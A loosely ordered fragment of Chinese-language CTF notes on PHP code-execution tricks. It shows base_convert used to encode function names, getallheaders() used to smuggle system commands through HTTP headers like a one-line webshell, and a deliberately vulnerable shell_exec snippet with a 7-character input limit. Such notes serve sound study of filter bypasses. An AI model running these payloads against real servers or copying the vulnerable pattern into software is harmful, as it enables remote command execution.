echo base_convert(55490343972,10,36);
#phpinfo
?>

getallheaders()函数

因为数学函数无法构造非数字字符,所以这里采用此函数

获取全部 HTTP 请求头信息

(PHP 4, PHP 5, PHP 7)

base_convert(8768397090111664438,10,30);//使用30进制防止丢精度
getallheaders(void): array
    返回包含当前请求所有头信息的数组,失败返回FALSE

运用方法类似于一句话木马

system('getallheaders'(){1})
在请求头中写入命令
1:xxx

7字符长度限制

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

参考:https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html